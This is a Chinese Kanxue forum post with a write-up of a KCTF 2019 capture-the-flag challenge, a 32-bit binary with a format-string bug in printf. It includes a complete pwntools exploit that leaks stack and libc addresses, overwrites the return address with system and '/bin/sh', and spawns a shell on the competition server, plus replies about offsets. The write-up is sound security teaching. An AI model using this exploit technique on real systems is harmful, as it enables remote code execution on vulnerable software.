首页
论坛
专栏
课程

[原创]看雪.纽盾 KCTF晋级赛2019 Q2 第三题 金字塔的诅咒

2019-6-23 02:51 1768

[原创]看雪.纽盾 KCTF晋级赛2019 Q2 第三题 金字塔的诅咒

2019-6-23 02:51
1768
先checksec

看下main的代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [esp+0h] [ebp-10h]
  unsigned int v6; // [esp+4h] [ebp-Ch]
  int *v7; // [esp+8h] [ebp-8h]

  v7 = &argc;
  v6 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to kanxue 2019, your pwn like cxk");
  do
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      v3 = atoi(&buf);
      if ( v3 != 1 )
        break;
      printf("What do tou want to say:");
      read_input((int)&echo, 24);
      printf((const char *)&echo);              // 存在格式化字符串漏洞
      puts((const char *)&unk_A97);
    }
  }
  while ( v3 != 2 );
  return 0;
}
printf处有格式化字符串漏洞,可以用来读写堆栈。
用gdb分别在printf(*main+203)和return(*main+264)处下断并查看堆栈。
printf

return

可以修改0xffffd68c处的值为system的地址, 0xffffd694为"/bin/sh"的地址,再输入2让程序返回到system函数就可以了。
这里选择使用0xffffd664处的地址来存放欲写入的地址

只需修改后两字节就可以用来读写堆栈了。
具体利用代码如下
from pwn import *
def write(p,inject,data):
	p.sendline('1')
	p.recvuntil('What')
	p.sendline('%'+str(inject%0x10000)+'x'+'%5$hn')
	p.recvuntil('1.')
	p.sendline('1')
	p.recvuntil('What')
	p.sendline('%'+str(data%0x10000)+'x'+'%53$hn')
	p.recvuntil('1.')
	p.sendline('1')
	p.recvuntil('What')
	p.sendline('%'+str((inject+2)%0x10000)+'x'+'%5$hn')
	p.recvuntil('1.')
	p.sendline('1')
	p.recvuntil('What')
	p.sendline('%'+str((data&0xFFFF0000)/0x10000)+'x'+'%53$hn')
	p.recvuntil('1.')
	return
def writedata(p,data):
	return
local = 0
if local:
    p = process('./format')
else:
    p = remote('152.136.18.34',9999)

p.sendline('1')
p.recvuntil('What')
p.sendline('%8$x')
stackaddr=p.recvuntil('1.')[-11:-3]
print 'stackaddr:'+stackaddr
p.sendline('1')
p.recvuntil('What')
p.sendline('%11$x')
libcaddr=p.recvuntil('1.')[-11:-3]
libcbase=int(libcaddr,16)-0x18637
systemaddr=libcbase+0x0003A940
binsh=libcbase+0x15902b
print 'libcbase:'+hex(libcbase)
print 'systemaddr:'+hex(systemaddr)
print 'binsh:'+hex(binsh)
retstack=int(stackaddr,16)-4
p.sendline('1')
p.recvuntil('What')
p.sendline('%53$x')
injectbase=p.recvuntil('1.')[-11:-3]
print 'injectbase:'+injectbase
injectaddr=retstack
print 'injectaddr:'+hex(injectaddr)+' ='+hex(systemaddr)
write(p,injectaddr,systemaddr)
print 'injectaddr:'+hex(injectaddr+8)+' ='+hex(binsh)
write(p,injectaddr+8,binsh)
p.sendline('2')
p.interactive()

执行后手动获取flag即可


[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-6-24 00:57 被梦游枪手编辑 ,原因:
最新回复 (9)
guyioo- 2019-8-26 11:41
2
0
你好~想问下这里的%53$hn这个偏移量是怎么调试出来的呀,我用AAA%x,%x,%x,这样只能泄露前7个数据。
梦游枪手 2019-8-26 15:25
3
0
guyioo- 你好~想问下这里的%53$hn这个偏移量是怎么调试出来的呀,我用AAA%x,%x,%x,这样只能泄露前7个数据。
你可以看上面的截图,sp 0xffffd664的值为0xffffd724,我用0xffffd724来存放欲读写地址,而0xffffd724-0xffffd650=0xD4,也就是距离栈顶53个DWORD,把地址存放到0xffffd724后再用%53$x就能写数据了。
最后于 2019-8-26 19:35 被梦游枪手编辑 ,原因: 口误
guyioo- 2019-8-26 16:03
4
0
感谢回复!!
我按照您的方法调试了一下~

这里的话就是 0xffffd064 - 0xffffcf94 = 0xd0 
是52个DWORD呢……
(调试了两次都是这样的说……)
梦游枪手 2019-8-26 17:00
5
0
你看下断点停在哪了,看堆栈的样子是少压了一个值
guyioo- 2019-8-26 17:30
6
0
梦游枪手 你看下断点停在哪了,看堆栈的样子是少压了一个值
啊……确实是少压了一个orz,现在是53煤错了~   (之前断点下得太靠前了,
再次感谢您的回复!!
最后于 2019-8-26 17:31 被guyioo-编辑 ,原因:
梦游枪手 2019-8-26 19:35
7
0
guyioo- 梦游枪手 你看下断点停在哪了,看堆栈的样子是少压了一个值 啊……确实是少压了一个orz,现在是53煤错了~  &am ...
上面说错了一点,指正一下,%53$x并不能泄露数据,只能用%53$hn来写,要泄露栈的数据得用%??$x,??是偏移量。
guyioo- 2019-8-27 08:58
8
0
梦游枪手 上面说错了一点[em_85],指正一下,%53$x并不能泄露数据,只能用%53$hn来写,要泄露栈的数据得用%??$x,??是偏移量。
欸……为啥 ~   是泄露不了那么多嘛
梦游枪手 2019-8-28 12:06
9
0
%53$x泄露出来的只是存放在栈里面的值。这个值只是个指针,而我们要的东西是指针的值。我不知道怎么读指针的值,不过要读的东西基本都在栈里面,就用%??$x代替了。
最后于 2019-8-28 12:06 被梦游枪手编辑 ,原因:
guyioo- 2019-8-29 10:48
10
0
梦游枪手 %53$x泄露出来的只是存放在栈里面的值。这个值只是个指针,而我们要的东西是指针的值。我不知道怎么读指针的值,不过要读的东西基本都在栈里面,就用%??$x代替了。
啊~大概明白你的意思了~  a ri ga tou,sian pai 
游客
登录 | 注册 方可回帖
返回